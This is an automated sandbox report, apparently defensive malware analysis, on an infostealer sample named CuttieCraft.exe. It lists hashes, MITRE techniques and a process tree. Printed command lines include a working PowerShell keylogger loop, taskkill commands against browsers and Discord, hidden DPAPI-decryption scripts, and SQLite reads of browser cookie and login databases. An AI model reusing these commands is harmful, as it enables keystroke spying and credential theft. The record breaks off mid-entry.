d381ce170cb49bcb9c04e1b9d8d1196b51c146534572c11f072fd32bdc5dc04e

Analysis

user interaction
yes
max time kernel
299s
max time network
302s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/06/2026, 14:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CuttieCraft.exe
Size 95.9MB
Sample260605-rnkfvaa13p
SHA256 d381ce170cb49bcb9c04e1b9d8d1196b51c146534572c11f072fd32bdc5dc04e
MD5 653926e668fb6b5239e0bc2a1706b61d
SHA1 5e216c264926f93b9d00c9dbd80c141eda7576b3
SHA512 1929e9e6941aceebf7c7622d7a295fd9e8c2e81d6a8d3ff3d22626148166236de524550618d402d6fa791013399390f92fd52e3da933bd383d75e9fe28fafeb4
SSDEEP 786432:GWJVDSfPhj2e7pAp6B65Eu1J6dG/u3XFU41:GW7DSRj2e7WEu1Q
TLSH
T167285C22A2A605B5E8BFFA3196E65D139D22BC076F3045DF334817361F73AE05A36B11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe
4012	powershell.exe
3496	powershell.exe
3872	powershell.exe
4424	powershell.exe
4512	powershell.exe
3268	powershell.exe
2920	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Chilo.vbs	CuttieCraft.exe

Executes dropped EXE 41 IoCs

pid	Process
1152	_sq3e_3x0.exe
2880	_sq3e_3x0.exe
4752	_sq3e_3x0.exe
4904	_sq3e_3x0.exe
4632	_sq3e_3x0.exe
1448	_sq3e_3x0.exe
3292	_sq3e_3x0.exe
1788	_sq3e_3x0.exe
1668	_sq3e_3x0.exe
2376	_sq3e_3x0.exe
1044	_sq3e_3x0.exe
2012	_sq3e_3x0.exe
932	_sq3e_3x0.exe
4520	_sq3e_3x0.exe
2932	_sq3e_3x0.exe
1180	_sq3e_3x0.exe
4020	_sq3e_3x0.exe
5096	_sq3e_3x0.exe
4872	_sq3e_3x0.exe
1748	_sq3e_3x0.exe
4932	_sq3e_3x0.exe
2144	_sq3e_3x0.exe
1452	_sq3e_3x0.exe
4564	_sq3e_3x0.exe
1996	_sq3e_3x0.exe
1668	_sq3e_3x0.exe
1628	_sq3e_3x0.exe
1828	_sq3e_3x0.exe
2012	_sq3e_3x0.exe
1684	_sq3e_3x0.exe
1808	_sq3e_3x0.exe
3536	_sq3e_3x0.exe
1268	_sq3e_3x0.exe
4020	_sq3e_3x0.exe
5096	_sq3e_3x0.exe
4016	_sq3e_3x0.exe
4452	_sq3e_3x0.exe
3568	_sq3e_3x0.exe
3256	_sq3e_3x0.exe
4632	_sq3e_3x0.exe
4904	_sq3e_3x0.exe

Loads dropped DLL 3 IoCs

pid	Process
5076	CuttieCraft.exe
5076	CuttieCraft.exe
5076	CuttieCraft.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5064	chrome.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	CuttieCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	CuttieCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	CuttieCraft.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 23 IoCs

defense_evasion

pid	Process
4752	taskkill.exe
2488	taskkill.exe
4432	taskkill.exe
1892	taskkill.exe
2744	taskkill.exe
2108	taskkill.exe
860	taskkill.exe
4980	taskkill.exe
4564	taskkill.exe
1724	taskkill.exe
3632	taskkill.exe
1100	taskkill.exe
4480	taskkill.exe
244	taskkill.exe
4408	taskkill.exe
1312	taskkill.exe
1632	taskkill.exe
1836	taskkill.exe
1752	taskkill.exe
1452	taskkill.exe
2944	taskkill.exe
3356	taskkill.exe
3952	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134251429366850310"	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
4012	powershell.exe
4012	powershell.exe
4012	powershell.exe
3496	powershell.exe
3496	powershell.exe
3872	powershell.exe
3872	powershell.exe
3872	powershell.exe
4424	powershell.exe
4424	powershell.exe
3268	powershell.exe
3268	powershell.exe
2920	powershell.exe
2920	powershell.exe
4512	powershell.exe
4512	powershell.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
3284	chrome.exe
3284	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4752	taskkill.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	4980	taskkill.exe
Token: SeDebugPrivilege	1452	taskkill.exe
Token: SeDebugPrivilege	4564	taskkill.exe
Token: SeDebugPrivilege	4480	taskkill.exe
Token: SeDebugPrivilege	244	taskkill.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	2944	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	4432	taskkill.exe
Token: SeDebugPrivilege	1892	taskkill.exe
Token: SeDebugPrivilege	4408	taskkill.exe
Token: SeDebugPrivilege	1312	taskkill.exe
Token: SeDebugPrivilege	1100	taskkill.exe
Token: SeDebugPrivilege	3356	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	1724	taskkill.exe
Token: SeDebugPrivilege	1836	taskkill.exe
Token: SeDebugPrivilege	2744	taskkill.exe
Token: SeDebugPrivilege	2108	taskkill.exe
Token: SeDebugPrivilege	1752	taskkill.exe
Token: SeDebugPrivilege	3632	taskkill.exe
Token: SeDebugPrivilege	860	taskkill.exe
Token: SeDebugPrivilege	3952	taskkill.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 2460	5076	CuttieCraft.exe	81
PID 5076 wrote to memory of 4720	5076	CuttieCraft.exe	83
PID 4720 wrote to memory of 4752	4720	cmd.exe	85
PID 5076 wrote to memory of 4120	5076	CuttieCraft.exe	87
PID 4120 wrote to memory of 4980	4120	cmd.exe	89
PID 2460 wrote to memory of 4472	2460	powershell.exe	90
PID 5076 wrote to memory of 1592	5076	CuttieCraft.exe	91
PID 1592 wrote to memory of 1452	1592	cmd.exe	93
PID 4472 wrote to memory of 1848	4472	csc.exe	94
PID 5076 wrote to memory of 3308	5076	CuttieCraft.exe	95
PID 3308 wrote to memory of 4564	3308	cmd.exe	97
PID 5076 wrote to memory of 2292	5076	CuttieCraft.exe	98
PID 2292 wrote to memory of 4480	2292	cmd.exe	100
PID 5076 wrote to memory of 2340	5076	CuttieCraft.exe	101
PID 2340 wrote to memory of 244	2340	cmd.exe	103
PID 5076 wrote to memory of 5024	5076	CuttieCraft.exe	104
PID 5024 wrote to memory of 4012	5024	cmd.exe	106
PID 4012 wrote to memory of 3388	4012	powershell.exe	107
PID 3388 wrote to memory of 4464	3388	csc.exe	108
PID 5076 wrote to memory of 420	5076	CuttieCraft.exe	109
PID 420 wrote to memory of 3496	420	cmd.exe	111
PID 5076 wrote to memory of 4888	5076	CuttieCraft.exe	112
PID 4888 wrote to memory of 3872	4888	cmd.exe	114
PID 3872 wrote to memory of 1200	3872	powershell.exe	115
PID 1200 wrote to memory of 3632	1200	csc.exe	248
PID 3872 wrote to memory of 2228	3872	powershell.exe	117
PID 2228 wrote to memory of 2244	2228	csc.exe	118
PID 5076 wrote to memory of 1152	5076	CuttieCraft.exe	119
PID 5076 wrote to memory of 2880	5076	CuttieCraft.exe	121
PID 5076 wrote to memory of 4752	5076	CuttieCraft.exe	123
PID 5076 wrote to memory of 4904	5076	CuttieCraft.exe	217
PID 5076 wrote to memory of 4632	5076	CuttieCraft.exe	127
PID 5076 wrote to memory of 1448	5076	CuttieCraft.exe	129
PID 5076 wrote to memory of 3292	5076	CuttieCraft.exe	131
PID 5076 wrote to memory of 1788	5076	CuttieCraft.exe	133
PID 5076 wrote to memory of 1668	5076	CuttieCraft.exe	135
PID 5076 wrote to memory of 2376	5076	CuttieCraft.exe	137
PID 5076 wrote to memory of 1044	5076	CuttieCraft.exe	139
PID 5076 wrote to memory of 2012	5076	CuttieCraft.exe	141
PID 5076 wrote to memory of 932	5076	CuttieCraft.exe	143
PID 5076 wrote to memory of 4520	5076	CuttieCraft.exe	145
PID 5076 wrote to memory of 2932	5076	CuttieCraft.exe	240
PID 5076 wrote to memory of 1180	5076	CuttieCraft.exe	149
PID 5076 wrote to memory of 4020	5076	CuttieCraft.exe	194
PID 5076 wrote to memory of 5096	5076	CuttieCraft.exe	196
PID 5076 wrote to memory of 4872	5076	CuttieCraft.exe	155
PID 5076 wrote to memory of 1748	5076	CuttieCraft.exe	157
PID 5076 wrote to memory of 1252	5076	CuttieCraft.exe	159
PID 1252 wrote to memory of 2944	1252	cmd.exe	161
PID 5076 wrote to memory of 2352	5076	CuttieCraft.exe	162
PID 2352 wrote to memory of 2488	2352	cmd.exe	164
PID 5076 wrote to memory of 2544	5076	CuttieCraft.exe	165
PID 2544 wrote to memory of 4424	2544	cmd.exe	167
PID 5076 wrote to memory of 4932	5076	CuttieCraft.exe	168
PID 5076 wrote to memory of 2144	5076	CuttieCraft.exe	170
PID 5076 wrote to memory of 1452	5076	CuttieCraft.exe	172
PID 5076 wrote to memory of 4564	5076	CuttieCraft.exe	174
PID 5076 wrote to memory of 1996	5076	CuttieCraft.exe	176
PID 5076 wrote to memory of 1668	5076	CuttieCraft.exe	135
PID 5076 wrote to memory of 1628	5076	CuttieCraft.exe	180
PID 5076 wrote to memory of 1828	5076	CuttieCraft.exe	182
PID 5076 wrote to memory of 2012	5076	CuttieCraft.exe	141
PID 5076 wrote to memory of 1684	5076	CuttieCraft.exe	186
PID 5076 wrote to memory of 1808	5076	CuttieCraft.exe	188

C:\Users\Admin\AppData\Local\Temp\CuttieCraft.exe
"C:\Users\Admin\AppData\Local\Temp\CuttieCraft.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern short GetAsyncKeyState(int v);' -Name \"W\" -Namespace \"N\" -PassThru | Out-Null; while($true){ for($i=8; $i -le 190; $i++){ if([N.W]::GetAsyncKeyState($i) -band 0x8000){ if(!$p[$i]){ Write-Output $i; $p[$i]=$true } }else{$p[$i]=$false} }; Start-Sleep -m 20 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uveg2ome\uveg2ome.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES47A3.tmp" "c:\Users\Admin\AppData\Local\Temp\uveg2ome\CSC31E25127C5F43638D994C6858E69134.TMP"
      4⤵
      PID:1848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "Discord.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "Discord.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordCanary.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordCanary.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordPTB.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordPTB.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordDevelopment.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordDevelopment.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1780669327414_0rtot.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1780669327414_0rtot.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\op4nfrof\op4nfrof.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3388
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4B0E.tmp" "c:\Users\Admin\AppData\Local\Temp\op4nfrof\CSC87451289DE84EF1A18E6164AC368343.TMP"
        5⤵
        
        PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780669327898_npml.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780669327898_npml.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1780669328335_buqorq.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1780669328335_buqorq.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s0qvlwjj\s0qvlwjj.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1200
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4EF6.tmp" "c:\Users\Admin\AppData\Local\Temp\s0qvlwjj\CSC7159BF0F25E14700A48C2542CA448F1D.TMP"
        5⤵
        
        PID:3632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a3atgv5n\a3atgv5n.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2228
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4F73.tmp" "c:\Users\Admin\AppData\Local\Temp\a3atgv5n\CSC76D3EEDC91D47C2801C3C99B04B9C94.TMP"
        5⤵
        
        PID:2244
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\History_1780669329007_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329023.sql"
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669329101_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329101.sql"
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669329101_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329117.sql"
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669329101_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329132.sql"
  2⤵
  - Executes dropped EXE
  PID:4904
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780669329101_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329148.sql"
  2⤵
  - Executes dropped EXE
  PID:4632
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1312
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780669329164_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_5076_1780669329164.sql"
  2⤵
  - Executes dropped EXE
  PID:1448
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3x0.exe
